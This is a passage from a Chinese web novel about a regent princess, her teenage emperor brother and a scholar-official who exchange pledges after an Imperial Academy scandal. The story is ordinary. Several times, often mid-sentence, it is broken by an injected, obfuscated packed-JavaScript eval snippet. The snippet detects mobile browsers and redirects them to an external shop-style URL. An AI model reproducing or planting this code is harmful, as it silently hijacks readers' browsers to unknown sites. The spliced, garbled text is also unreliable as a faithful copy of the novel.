三年前豫州大旱，为缓解农民的压力笼络民心，同时也为朝廷招贤纳士，她特批太学以较低的标准录取豫州出身贫农的学生。 在所有逼迫那个少年自尽的风雨里，也有她的一份…… 如果她所努力的一切，都只是让百姓过得更痛苦，那还有什么意义？ 或许，真的是她错了，坚持先帝的无为而治，让一切保持原样，才是最好的吗？ 灯花蓦地在眼前炸开，她“嚯”地从案后挺直脊背。 不，不是这样的…… 太学不该是这样的—— 难道在逼得少年学子走投无路后，还要怪他不认命吗…… 明玉提起朱笔，在她熟悉的自己后写下准阅的意见。 拨乱反正，还需要理由吗…… 不然，这样的太学，就是我们的学生读书的地方吗？而这些人，就是我们为社稷培养的栋梁吗？ 一个十五岁的孩子都敢敢以血直谏，她又有什么理由在这里自怜自哀？ *** 而在相隔几条街巷的青瓦宅邸里，同样有一盏孤灯，彻夜难眠。 雪白的折本已经摊开多时，连砚里的墨都干枯了，薛行简却迟迟没有动笔。 “人命关天！” 白天时他吼王佑斌的话不断在耳边回响。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956368|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所有华丽的文辞在见到血淋淋的棺椁后，都成了巧言狡辩—— 在大理寺的文综后写下自己的所见所闻后，心底沸腾的热血告诉他他还要再写一道奏折。 可当他打开折本，愤懑、哀叹、惋惜齐齐冲到胸臆之间，他抬起的笔忽然就没有了重量。 灯花在眼前爆开，薛行简叹了一声，提笔落下第一个字。 *** 太学案在朝堂炸开的第一天，不少嗅觉敏锐的老臣便预感到此事定不会善了。 但没人想到长公主会下如此大狠手。 国子监祭酒司业、大小主簿全部撤换，礼部侍郎问罪。 皇帝当庭责问礼部尚书，斥责国子监太学学风不正，满朝文武都听出来皇帝在拐弯抹角的骂太傅其身不正，才致学风不正。 所有通过祖荫入太学的学生，课程安排将与其他学生不同，日后也无法参加进士科考试。 同时，薛行简的一道奏疏也在士林之间流传开来。 一时间，士林内议论纷纷，寒门学子不约而同将薛行简奉为领袖。 第二日，皇帝破格擢其为谏议大夫。 薛行简是在为皇帝例行讲学时接到的旨意。 他眼中是明显的诧异，明显到连萧启难以忽视。 难得见老师露出这样的表情，萧启戏谑道：“老师是觉得这官儿太小了？” 闻言，行简立刻敛眸。 “岂敢，只是鲜花着锦，臣有些惶恐。” 萧启显然不信，却没追究他的敷衍，“也罢，不过一会儿夜深了，老师得陪朕去个地方。” “陛下要出宫。”他抬起头来。 “嘘——”萧启一脸郑重其事，“这是我们男人之间的秘密。” 十六岁……男人的秘密…… 二十五岁的薛行简看着这个才到自己肩膀的少年皇帝，满眼复杂地点了点头。 但他没想到—— 皇帝大半夜微服出宫来的地方，却是城外的义庄。 停满棺木的义庄门外，是长年挥之不去的阴森气息。 而当他扶着皇帝走下马车时，眼前却忽然出现一个黑色的身影。 11. 夜话 在深不见底的夜幕下，萧明玉一身黑色的屏风站在义庄的门外。 在看到他时，却没有丝毫意外。 他不知道的是，一开始知道萧启请他一起前来时，她确实十分惊讶。 同时，又十分庆幸。 她没有看错人，更幸好没有做错选择。 萧启上前搀住她的胳膊，“姐，大晚上的，你慢点。” 明玉睨他一眼，却没拆穿他那点小心思。 大门被推开，那关在院里的哭声，瞬间清晰起来。 那是一个老妪的哭声，呜咽之中夹杂着断断续续的抽气声——在这阴森的夜晚如同没有尽头的绝望。 一时间，所有人的脚步都不由自觉地放轻。 隐隐有烛光从屋内透出，离得近了，便听见那哭声中夹杂着的老翁的叹气声，和水烟吧嗒的声音。 深夜忽然静得压得人喘不过气来，所有人都停在门边，却没有一个人再上前一步。 长夜终会过去，黎明终会再临，只有他们的儿子再也不会睁开眼——唤一声爹娘了。 行简叹了一声，他眼前似又浮现国子监里那被古树掩映的祠堂。 他站在那里时，细风吹过的回廊，连一丝回声也无。 明玉静静地望着窗棂，她记得这孩子有个嫁在青州的姐姐，因为怀有身孕，所以到现在还不知道这个噩耗。 而死去的那个孩子，南慕——也只比她的弟弟小一岁而已。 *** 夜风阵阵，树影婆娑。 最终，他们改变了主意，没有前去打扰这对中年丧子的老人。 目之所及是层层掩映的黑暗，仿佛没有尽头。 行简跟在萧启身后，一向少年自负的皇帝，此时却宛如一个做错事的孩童—— “阿姐……” 明玉没有回头，树木庞大的暗影落在她身上，她的声音在这风中有几分遥远—— “这孩子死前，你曾经见过他，是不是？” 萧启别过头，“阿姐已经都知道了。” 明玉的声音微冷，“暗示他可以‘以死报国’的时候，你有想过他的父母家人吗？”她负手站在前面，仿佛是在与黑暗的虚空对话。 “我……” 明玉忽然停下，却没有回答，仿佛她正期待眼前的黑暗能给她一个回答。 “……阿姐，”萧启死死盯着她的背影，“世家经营百年，他们的根扎在京都的土地上，早已经和泥土一样腐烂了！除非狠药，根本无法撼动！” 他的连由白转红，“阿姐你努力了那么久，跟他们虚与委蛇，费尽心血培养寒门的学生，可结果呢？我们培养的人只能被他们排挤！推下去的政策也石沉大海……” “所以呢？” “阿姐……” 明玉猛地回过头，“萧启我问你，在你眼里，死去的那个孩子，他是你帝王掌权路上的一个棋子，还是一个活生生的人？” 萧启瞪大了眼，“阿姐！” “那回答我，你是为了什么？” “是为了我萧家江山，海晏河清！” “海晏河清？那在你眼里，什么是海晏河清？” “姐，成大事者不拘小节是你教我的，想让百姓过的好，这条路上总难免有牺牲……” “牺牲？你今天可以牺牲一个无辜的孩子，毁掉一个风雨飘摇的家庭，明天呢？你说为了百姓，那躺在棺材里的那个孩子，他不是你的百姓吗？ “什么是大事，什么是小节？刘邦可以在鸿门宴上不顾懦弱的嘲笑偷偷溜走，那损害的是他自己的名声，你呢？” 她向他走来，“启儿，你是皇帝，万民之主，天下人的生死都握在你手里。可如果他们的生死沦为你手中博弈的棋子，我们跟那些为博己利不择手段的贪官又有什么区别？” 萧启咬了咬牙，“……阿姐是想说我做错了吗？” 明玉在他面前站定，扶住他的肩膀。 “你心里清楚，这件事你走了捷径——捷径走多了是会上瘾的，终有一日，你会习惯无论什么时候，都毫无底线的牺牲少数人去获取多数人的利益…… “启儿，我最怕你沉溺在这样翻云覆雨的权术里，让为国为民都沦为自己私欲的借口！” “我不会的！” 明玉笑了一下，“那我问你，如果有朝一日那个要躺在棺材里的人，是我呢？” “阿姐！！” 她的眼睛彷如坠落的流行，明亮而炽烈。 薛行简心底一恸。 然而下一秒，她脸上便露出坦然而坚定的笑容，“你记住，如果真有那天，我会甘愿引颈受戮！这是我十年前在皇陵前许下的诺言，今夜——” 她忽然越过萧启的肩膀看向他，目光坚毅，“薛大人便是你的见证。” 萧启声音一抖，“姐……” 明玉对他笑了笑，仿佛是在安慰他。 “但是启儿，你记住，你站在这万人之巅，所有的衣食权位都是百姓所给。权力是你最锋利的到，你要掌刀人，不要为刀所驱！” 夜风吹落她的兜帽，月光下，她的手在微不可见地发抖。 薛行简上前一步，声音是面对皇帝时不曾有的温柔，仿佛生怕吓到对方一样。 “殿下。” 明玉看向他。 薛行简俯身，“殿下容禀，陛下当日，其实大可直接杀了南慕，那条路——变数更少。但陛下没有，在南慕身故后，他的家人也都得到了妥当的安排。 “陛下是殿下亲手带大的，心中对黎民苍生的悲悯之心，自然也同殿下一样，只是年纪尚轻，总难免疏漏，但绝不会是寡情薄意，视人命如草芥的刻薄之君……” 他微微抬起眼来，目光如月色般温柔，却含着一份苦意。 “今日陛下授臣谏议大夫一职，臣心里其实不愿……因为臣的文章也好，名声也罢，都是踏在一条鲜血淋漓的生命之上，臣心里实在很害怕……” 明玉指尖一颤。 仿佛被瞬间看穿了一般，明玉下意识想要躲开他的眼睛，可偏偏就是那双眼睛，在黑暗之中，借着无人的掩蔽，对她安慰地笑了笑。 明玉愣住。 薛行简继续道：“但臣不能后退，死者授不能辞。” “朱门鹰犬贵，寒窑骨肉贱。流星荃不察，我血荐轩辕——臣把这二十个字挂在榻前，无一日敢忘。臣知道，这份心，君臣相同。” 明月落在他的眼底，温柔而坚定——她忽然听懂了他话里的宽慰。 他在告诉她，她不是一个人在害怕。 明玉眼睫微颤，夜晚模糊了心底的戒备，却放大了脆弱。 白日里韩俊臣离开时的话忽然再度在耳边响起： “殿下若真青睐这位左拾遗，也不妨一试。若不能善了，此时趁他官小，也好料理。” 袖口一紧，萧启的声音立刻将她拉回现实—— 少年的眼神异常坚定，“阿姐，我是想成为文景二帝那样的明君……但我不会像景帝那样牺牲晁错！” 明玉一怔。 萧启倔强地看着她，“阿姐既然希望我能成为心怀苍生的皇帝，那一个心怀天下的皇帝会连自己的亲姐姐都容不下吗？” 明玉面色动容，最后，她握住皇帝尚且稚嫩的手，“好，我等着看那一天。” *** 明玉与薛行简并肩站在巷口，目送皇帝的车马淹没在夜色之中。 一时间，二人都没有开口。 明玉有心道谢，却又不知从何说起。 所有的斟酌在无数衡量之后，都化为无言。 她不能拿他的前途作堵…… “夜色深了，本宫让人送先生回府吧。” “臣有话，想对殿下说。” 明玉一怔，为他突然的直接，她强压心底本能泛上来的恐惧，故作无事道：“是吗，先生请讲。” “那天臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16956369|193136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从太学回来，在宫中偶然听到有宫娥议论，说陛下原本拟定要给臣五品的职位，被殿下改成了八品。” 他目光坦然，没有丝毫责备质疑。 明玉心底却骤然掀起波澜，她目光一利，看向他的目光立刻带了审视。 而他始终坦然，甚至自然而然地接过了身后寒碧手中的缰绳，仿佛刚才不过是他的无心之语。 心里闪过无数对他动机的猜想和推断，她以为这是个开始，对方却好像已经准备收工。 他牵着马，请她先行。 明玉深深看他一眼，不知是不是她的错觉，仿佛她思考的时间越长，他便越开心一般。 “先生有心了，这件事我会处理好的。” “夫人一向有心。”他不轻不重道。 明玉刚迈出的脚猛地顿住，月影落在他的侧脸，一时间，她忽然又捏不准他的态度了。 而他似毫无所觉般，任她审视。 二人一时都无话，只默默牵马前行。 马蹄声一哒一哒的响在身侧，地上二人一马的影子，反复纠缠，分开。 蓦地，不知哪里落下的石子突然惊起了潜在林里的乌鸦—— 明玉一惊，才发现竟然已走出那么远。 “今夜的事多谢先生，下个巷口便是——” 薛行简打断她，仿佛终于认输般，“夫人对臣说的，所谓‘前程似锦，不敢高攀’，是因为夫人在皇陵发下的誓吗？” 明玉错愕地看着他，没想到他瞥了一路想逼她主动承认的，竟然是这一句…… “你……”明玉忽然有些手足无措，“我，不是…都过去了吗……” 月色照得他面孔发白，行简冷笑一声，“夫人下一句是不是要说，人都是往前看的？” 明玉被他噎得一窒，心里也陡然生了怒火。 她刚要扭头怒斥，却又突然没了声音。 那张清冷的脸上是一片寒凉的悲伤，即便在被她拒绝的那天也没有这样深刻的痛苦。 行简闭了下眼睛，转身将缰绳递给寒碧，“公主府就在前面了，殿下恕罪，臣告辞了。” 言罢，他转身就走，走得毫不留恋。 明玉怔怔地望着他的背影，而那背影转瞬，便消失在巷口。 寒碧不由觑了眼她的脸色，犹豫着要不要开口让人跟着薛行简…… 她还在纠结，明玉忽然开口：“翠微，确保他安全回府。” 黑暗中立刻掠起一道影子。 寒碧顿时如释重负，下一秒，明玉一把抢过她手中的缰绳——翻身上马，绝尘而去。 寒碧张了张嘴，最终只得叹了口气。 *** 夜枭在身后惊起，不远处传来野猫撕心裂肺的叫声。 行简一路疾行，拐过巷口，冲进自己的大门，关门上栓，一气呵成。 落下门栓的那一刻，他才长出一口气…… 薛行简苦笑一声，她永远不会知道——他在宫墙下听到那两个宫娥的议论时是如何的欣喜欲狂…… 只一瞬间，他便确定她对他也并非泛泛…… 他甚至有些感谢那个安排这一场戏给他的人，那些曾经在一个个辗转反侧的夜晚被反复唤醒又压下的欲望，顷刻间破土而出，淹没了他的理智…… 过去？不是没想过过去…… 在他定期为皇帝讲学的日子，他也曾或远或近的遇见她，而一次次的遇见都在告诉他，这一切好像只是他的自作多情…… 他倚门苦笑，如果那么想过去，为什么要激陈碌来教他骑马？为什么要怕他树大招风改授八品？他心里清楚，御赐的宫中行走虽是补偿，其实才是真正重要的东西。 可是，她今晚告诉他，这一切，都不过是她为大周的江山考虑……是为了皇帝考虑…… 呵，他一脚踢开脚下的石头，去他/妈的，大周的京官都要能骑马才对得起社稷吗？ 过去……他偏不过去…… 12. 谋心 梆子响了三声，大明宫内安德打了个瞌睡。 细微的声响从身后传来，安德阖着眼把窗户打开。 萧启一个翻身落地，一把扯住了他的浮尘。 “去拿纸墨，不要点灯！” 安德点点头，又打了个哈欠，对于皇帝的各种奇怪要求他早已习惯…… 摸黑把应急箱里的纸墨给萧启端来，安德道：“主子怎么不走门？” “今天大殿当值的是何太妃的眼线，你睡糊涂了？” “陛下早知他有问题，为何不告诉殿下？” 萧启提笔蘸墨，“说你笨你还真不聪明，你怎么知道阿姐不知道？” 安德被他绕糊涂了。 “小德子，你会绣花吗？” ”……“ 萧启一脸无辜：“薛老师把这二十个字挂在榻前，时刻警醒，那我把他绣在荷包上更显真心吧。” “奴才明天去学……”安德认命。 “给你涨月例！” 萧启对他和蔼笑道。 *** 翌日，萧启挂着两个黑眼圈勉强撑完了朝会。 所幸朝臣们离的远，倒也看甚不清，身处朝臣包围圈的薛行简就没有那么幸运了。 散朝后，郑冲关爱地拦住这个后生，“现在眼看就是仲夏了，晚上蝉鸣越发聒噪，薛谏议可是饱受其扰？” 行简颔首道：“劳尚书关怀，下官实是忧虑北上的祖母。” 郑冲又捏着胡子宽慰几番，行简心底不耐，面上却越发恭谨有度。 应付完郑冲，一个衙门的同僚又来贺他迁转，几乎人人见他都要说一句恭贺。 等到午后为皇帝讲学时，萧启又拿这个来取笑他，“老师别怕，更可怕的还在后面呢。” 薛行简看他一眼，“臣刚才看到安公公在绣花。” 萧启面不改色：“每个人都有点自己的喜好，我们不能残忍的剥夺。” “安公公的花样子是二十个字。” “郑尚书估计要嫁女儿给你，”萧启赶忙道，“老师你要是不想娶，还得尽早娶个别的。” 行简皱眉。 萧启耸耸肩，“当然，肯定不止他一个想嫁女儿给你。” 说完他又感叹一番，“可惜朕没有女儿……” 行简深深看他一眼，半晌后望着窗外道—— “殿下那边今晨来找臣要陛下这几日做的文章了。” “……” *** 隔天休沐，周易同陈碌拿了好酒来给行简道贺。 方桌摆在院子里，三人幕天席地，饮酒畅谈，也是难得的忙里偷闲。 周易道：“原本是想订个酒楼来，怕碰上熟人，再响你风评，就只能给你简单意思一下了。” 行简失笑，“没事，等你成亲的时候，我们再上酒楼。” 陈碌端着酒杯点头，周易笑骂：“你们少来，我是打了头阵，你们也别想跑！” 陈碌翻了个白眼，行简笑而不语。 周易瞪了两眼自己的这两个“狐朋狗友”，转而对行简道：“七品的宅子还没住热乎呢就又换到这儿了，你没打算再招几个仆役？” “黄大娘一人便够了，”行简微微一笑，“我原也不需要人伺候。” “话是这么说，但以后应酬往来的多了，你手下也得有个能跑腿的不是？”这么说着，周易突然压低声音道，“要是拖到成亲，架不住就是女家那边塞人给你了，到时候，只怕出来喝个酒——都难！” 陈碌嗤了一声，“你当谁都和你似的，妻管严！” 行简却有几分若有所思。 周易瞅了他半晌，和陈碌对视一眼，才慢慢道：“怀瑾，你是不是……” 行简看他，“是什么？” 周易叹了一声，“你心里不太痛快，喝酒嘛就不要端着了……否则容易上头……” 陈碌点头，“其实你装得挺好的，其他人估计也瞧不出来什么。” 周易仰天望了一眼，只恨现在是跪坐踢不到这个二木头，“别人只会觉得你连升三品还一脸高深莫测，当真非池中物也。” 行简立刻了然，不由微微一笑，慨然道：“也没什么，我人生路上第一次单恋而已。” “……” “……” 二人对视一眼，周易忧虑地看着他，那眼底分明写着，可你看起来一点也不像没什么…… 行简看懂了他的表情，举起酒杯，忽然一本正经道：“我十七岁的时候，家里给安排了一门亲事，但那姑娘没多久便亡故了。” 周易五官皱成一团：“……为什么突然说这个？” 薛行简将酒杯往前一递，“我对她用情颇深，伤心过度，亏了身子——自此不思娶妻。” 陈碌瞪大眼：“你亏哪儿了？” 周易恍然大悟：“你想让我们帮你传播谣言？” 薛行简笑了一声，将杯中酒一饮而尽。 “没有，我身体很好，只是，如果将来你们听到这类流言，不需奇怪，也不需要为我打抱不平。” 陈碌怀疑地看着他。 周易连连摇头，“……你单恋的那个姑娘怕不是个天仙……” 天仙吗…… 行简又给自己倒了杯酒。 至少天仙还能说出口，见不到也能画在纸上，他呢…… 无人可诉，也无处可言…… *** “你是说薛谏议有位情根深种的青梅？” 大明宫的偏殿，明玉一脸惊讶道。 寒碧点点头，啧啧感叹道：“不知道伤了京城多少少女的心呢。” 明玉垂眸，朱笔未停，“该嫁还是嫁，父母之命，这可不是能摆上桌的筹码。” 寒碧皱了皱鼻子，“这是不算，可内眷里都隐隐在传，说薛大人……” “说他什么？” “说薛大人因为青梅别嫁伤心过度，亏了那里……” 明玉的手一顿，“亏了什么？” 她抬起头，寒碧的表情说明了一切。 明玉蹙眉：“这是哪里起的谣言？” “婢子已经派人去查了，暂时还没有消息。” 明玉低下头，指尖轻轻点在书页上。 “我记得……他下午要过来。” “是。” “你让宫娥给他换成参茶吧。” “……是。” 寒碧低头退下，明玉揉了揉眉心。 距离那一夜已经过去了十天…… 这十天里，她拔掉了何太妃的全部眼线，扶周太妃与何太妃同掌后宫。 有时候她觉得自己只是寂寞太久了，她只是需要…… 可下一秒她便推翻了这个想法，年轻美丽的肉/体也不过是饮鸩止渴。 纸醉金迷之后都是无尽的空虚，而那空虚会将她拖入地狱…… 她已经不是十五岁的小姑娘了。 圈养替身？强行移情？她不会这样践踏自己的心，她的年纪已足够让她看清自己。 可如果她还是十五岁，或许会想方设法的占有他也不一定…… 只可惜如今，她什么都做不了了。 清楚的看着内心感情的变化，看着他一点一点累积，她却只能将这一切小心包好，扔在角落里，寄希望有一天他能被遗忘。 可偏偏，他就在角落悄无声息地生长。 或许若干年后，如果上苍眷顾，她会把这些心情玩笑似的说给他听。 然后两人相视一笑，一切都已经结束许久了…… *** 下午很快到来，看着站在台下的人，明玉将折本搁在案上。 他建议每月月初召所有为皇帝讲学的官员到宣室，统一协调，避免讲学内容重复。 “薛谏议跟各位大人商量过了？” 薛行简颔首答道：“原是陛下无心一句，说臣讲的选段与前几日蔡大人一样。臣私下问过几位大人，确实是有这样的情况。” 明玉点点头，“你们都是大周的栋梁，个个明经达意，通礼自矜，若召你们一起协商，只怕还要有个总领之人。” 行简端起一边的茶杯，颔首饮了一口。 那一瞬间，他的表情发生了轻微的扭曲，几乎微不可察，却全落入一直观察着他的明玉眼中。 他放下茶，“郑尚书年高德劭，又领礼部一职，可堪此任。若有不决的时，便让二人同时为陛下讲解，也可使陛下的思辨得到拓展。” 明玉微微一笑，“也好，薛谏议有心了。” “食君之禄，担君之忧。”他面不改色的接下她的话，“若殿下没有别的吩咐，臣便先告退了。” 他的样子，仿佛一切已经完全回归了正轨。 想起寒碧调查的结果，明玉微微意外，面上却只是矜持地点点头。 行简起身，向后退去。 看着他的背影，明玉在心底自嘲，萧明玉，你真是矫情…… 文人向来自矜，才名越高，心里骄矜的墙便越高，那晚已经说了那样的话，他也一定是要让这一切过去了。 放出那样的谣言只是想要拖延成婚的时间，好慢慢选择而已…… 然而不过几个时辰，她竟然又在兴庆宫的侧殿见到了他。 萧启笑道：“阿姐，高丽新贡的冬虫夏草，刚好老师也在，我就留老师一起用膳了。” 明玉扫了行简一眼，他仍是一派镇定从容—— “长公主万安，微臣叨扰了。” 明玉笑容得体：“谏议客气。今岁贡的不少，若有需要，谏议也不妨带些回去。” 她话里带刺，薛行简抿了抿唇角， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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行简笑了笑，仿佛对她这个回答毫不意外，他上前一步，将一个木匣放到她面前。 “臣有一个朋友，自恃有几分才能，托臣向殿下举荐——这是信物——是他母亲所留。” 明玉抬眼看他，他的眼睛沉静而坚定。 “臣与他约定，会在初三。若臣有幸，当为殿下引荐。” 明玉拿起木匣，取开盖子，匣中赫然是一支粉色玉簪。 簪尾雕着梅花，沉静婉然。 薛行简告退离去。 *** 前一刻还是艳阳满天，下一刻便是大雨倾盆。 当真应了那句老话，七月的天，孩子的脸，说变就变。 磅礴的雨声包围了整个屋子，窗外的芭蕉已经被打的扑在地上。 窗边，明玉自闲适安然，提笔临帖，写的是屈平的九章。 寒碧在外面的小厅烹茶。廊外的风裹挟着潮润的气息飞扑进来，寒碧皱了皱眉，这雨是越下越大了。 惦记着内室的窗户还没关，寒碧怕明玉吹了凉风，打了帘进来关窗。 她刚拿起窗下的支板，明玉的声音却忽然在身后响起—— “留一扇吧，这里原本也不担心潲雨。” 寒碧愣了愣，“是。” 她便又去外间取外袍来给她披上。 明玉提笔落墨，正写下一句—— “怀瑾握瑜兮，穷不知所示——” *** 时间已经过去怔怔一天了，从天亮到天黑，雨却始终没有要停的意思。 薛行简独坐在桌边，望着窗外的光渐渐暗下去。 小二已经来催促了不知多少次，到最后干脆也不再管他。 潮湿的寒意攀上后背，渗入骨髓，薛行简却始终一动不动——仿若一樽千年前便是如此，千年后也不会改变的石塑。 天地已经全然坠入黑夜，室外的雨声清晰的砸在心上，室内的静谧突然便刺耳起来。 壶内的茶早已凉透，他抿了一口，苦意在舌尖炸开。 窗外已经是漆黑一片，什么都看不分明。 行简忽然想起第一次见她时的场景，那时她站在杏花树下，笑容清浅，却如春风化雪般触动了她的心—— “如果我不来，你要怎么做？” 熟悉的声音忽然在安静的室内响起。 他唇角微微一弯。 仿佛有烟花忽然在星夜绽放，有露水跌落花瓣。 他放下茶杯。 “那是天亮以后的事，今夜我只等你。” 13. 互换信物 明玉在他身后站定，他却没有回头。 一时间，谁都没有开口。 仿佛刚才那句“豪言壮语”已经耗尽了他所有的勇气。 明玉望着他的背影，心底的喧嚣却渐渐退去。 雨夜的宁静如同七弦琴的尾音，舒缓而悠长。 明玉在他身旁坐下，抬手为自己倒茶。 行简似有所觉般，蓦然回身，按在茶壶上，“已经冷了。” 明玉抬头看他，他的脸在烛火里明明暗暗，看不分明，却异常地坚定。 她放开手，他起身将茶炉的火点燃。 手法娴熟，却透出些微的僵硬。 明玉静静地看着他，他侧脸微低，温柔而沉默。 良久，薛行简打破沉默，“夫人觉得我表现如何？” “表现？”明玉挑眉。 “嗯，”他点头，目光却只盯着茶炉下跃动的火苗。 “我心里…对夫人……十分倾慕。” 明玉垂下眼，不过是一句简短的告白，却让她一路走来压下的那点欲望，又蠢蠢欲动起来。 他似乎又想起什么一般，连忙补充道：“没有人会知道——以前，现在，哪怕将来……” 明玉抬起眼，满眼复杂，“你是想说——这些天，你做的所有事，都是想告诉我，你可以在人前掩饰好一切，也可以在人后……始终关心我？” 茶烟在他面前袅袅升起，模糊了他的表情。 可他的坚持却如此清晰。 明玉垂下眼，叹了一声，“薛先生……你可以不必这样，你可以光明正大地娶妻生子，就像——” “就像任何一个普通人那样活着？”他忽然打断她。 明玉对他笑了笑，“普通人的幸福，虽然简单——却最窝心。” “是，”行简起身，替她斟上一杯热茶，“就像此时此刻……” 明玉仰头看着他。 他的眼神如山岳般坚韧，“人一生所求，无一不要付出代价。有的人求团圆，有的人求功名，而我所求的，是这‘光明正大’背后的……你。” 明玉一怔，他说的如此坚定，几乎摇动她的心荆，她忽然笑了一下，“说出这样的话，就不怕我会就此毁了你的前程吗” 他同样回以一笑，“殿下觉得，臣有多在意‘前途’二字？ 他微微一顿，“还是夫人怕我，终有一日会厌倦？” 烛火静静燃烧，夜晚的颜色却淡了许多。 他在她对面坐下，“臣入仕，是求为生民计，却并非强求——臣深知天命、人数常有变化，所以居何官职便尽何等职务，并没有一定要封将拜相的野心。” 明玉的心微微一颤。 “但如果夫人希望我走这条路，我会走下去……”他低头看着杯中冒着热气的茶汤，唇边是难掩的笑容，“总不能辜负夫人找人教我骑马，又寻人替我打理人情往来的心意……” 明玉目光一变，脸却突然烫起来。 既有被戳穿的恼羞成怒，又有难言的女儿心肠…… 行简抬起眼来看向她，笑容诚恳，语意认真。 “我会辅佐陛下，一生尽忠。” 明玉一怔，恼怒却散了一半，“你诈我？” “我知道，夫人对我的照顾大半缘自陛下，是一片爱才之心。但教臣骑马，以尽快融入京官的阶层，免遭讥笑……” 行简笑了笑，“只怕在臣真的因此受辱之后，殿下再暗示陛下教臣骑射，才更符合殿下的愿望……” 明玉的脸微微发烫，那是她的私心…… 行简含笑看着她，而他因为那点私心受到了极大的鼓舞…… 半晌后，明玉打破沉默，“……我没有监视你……十三娘也从未向我汇报过你的行踪。” “我知道。” 他笑道：“我……还缺一个管家，上次照顾我的赵四就很不错。” 明玉震惊地看着他，被他的得寸进尺气笑了，“薛谏议，你在跟我要人吗？” 行简将她放在桌上的木匣打开，“这是我母亲留给儿妇的东西——而我听说身边的人都该由未来的夫人安排。” 剔透的梅簪在烛火下依旧不失光彩，明玉垂着眼，“你知道……如果启儿发现你与我有首尾，你……” 他答得毅然：“陛下不会知道。” 明玉怔怔地抬头，他如此坚定，竟让她一时说不出话来。 良久，明玉叹了口气，仿佛终于下定决心，她将系在内裙的玉佩取下，递到他面前。 “这是父皇在我及笄时所赐，现在，他是你的了。” 上好的和田白玉，玉质温润，触手生温，上面雕刻着姣姣明月。 “日月为明，父皇说圆盘为日，日中月明，十几年来，我一直贴身带着……” 明玉的声音里含着几分对往日的追忆，往事仿佛又再次浮现在面前。 “婉婉，”先帝总是威严的面容在面对女儿时，露出难得的慈爱，“你虽是女子，女子为月。朕却希望你可以不用为任何人所制，日月为明，你可以做自己的太阳。” 行简珍而重之的接过，“先帝的爱女之心，臣感受到了。” 窗外的雨声渐渐小了，淅淅沥沥的敲在青石板上。 窗内烛光脉脉，人影重重。 二人一时之间都陷入了沉默。 烛火一点一点燃烧，蜡泪缓缓淌下，行简突然站起来，“……我送你回去吧。” 明玉抬头看他，他微抿的唇角泄露了一直以来的紧张，甚至有些笨拙。 那一半的恼怒也散去了，明玉微微一笑，又起了逗弄他的心思，“我听说——谏议有个情根深种的青梅小娘子？” 他脸蹭地一红，支吾道：“夫人……不是都知道吗？” 明玉以手托腮，“知道什么？谏议为此不欲再娶吗？” 行简皱眉，“我本来也还没娶她……” 很快他似又想到什么，“我一共只见过她两次……她亡故以后我也没有……思念成疾……” 明玉的目光滑过他涨红的脸颊，攀过他的胸膛，在某个中间靠下的位置微微一顿—— 行简的脸更红了。 明玉微微一笑，“谏议早点休息吧。” 他眉头蹙得更深，刚要再言，唇间忽然一软。 他垂下眼，她葱白的食指抵住了他未出口的解释—— 明玉的眼睛温柔含笑，如桃花初绽时拂落的春风。 “你的心意，我都明白。” 他的心忽然一软。 明玉笑道：“天要亮了，我走了。” 仿佛被她感染，他的唇角也不自禁的上扬，“好。” 窗外的雨势已经全然停了，只有屋檐上还偶然滴落几滴水声。 明玉披上黑色斗篷，很快便消失在微瞑的夜色之中。 行简怔怔地站在门边，直到窗外蓦地响起清脆的鸟鸣。 他才恍觉，熹微的晨光竟已照到了脚下—— 行简低头，茶盏已经再次冷掉。 而她…… 他唇角不禁扬了扬，确实来了…… *** 回到府内，明玉没有惊动任何人。 天色尚暗。她俯身将烛灯点燃。 烛火刚一跃起，便映亮了一旁守候已久的寒碧的脸。 明玉唬了一跳，却见对方正笑意盈盈地看着自己，不由气极反笑，啐道：“你在这儿美什么呢？” 寒碧笑着接过她手中的烛灯，“殿下开心，奴婢跟着开心啊。” 明玉失笑，“我现在就仿佛站在只有脚掌宽的栈道上，一边是峭壁，一边是悬崖，一步踏错，就会万劫不复。” 寒碧替她将床帘掀起，“可奴婢已经许久不曾见殿下这般高兴了。” 明玉低下头，“人世浮沉，如白驹过隙，刀尖舔蜜便刀尖舔蜜吧，总要有点甜头，才能走下去。” 寒碧不禁宽慰她，“殿下毕竟是陛下的亲姐姐。” “启儿心思重，面上却总要扮自在，”明玉轻声道，“你记得，他小时候顶喜欢一只玉狮子，淮南王世子进宫的时候碰了一下，他面上什么都没说，第二天就砸了那只玉狮子。 寒碧默默。 “正因为我是他的亲姐姐，在他临朝亲政那天，所有与我有关的人才都将遭到贬斥。” “可……” 明玉打断他，“这次春闱就是开始，等他从新科士子中挑选好未来的班底，就到了朝臣们站队的时候了。” “站队？！” 明玉在床上坐下，“前朝的容乐公主就是例子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 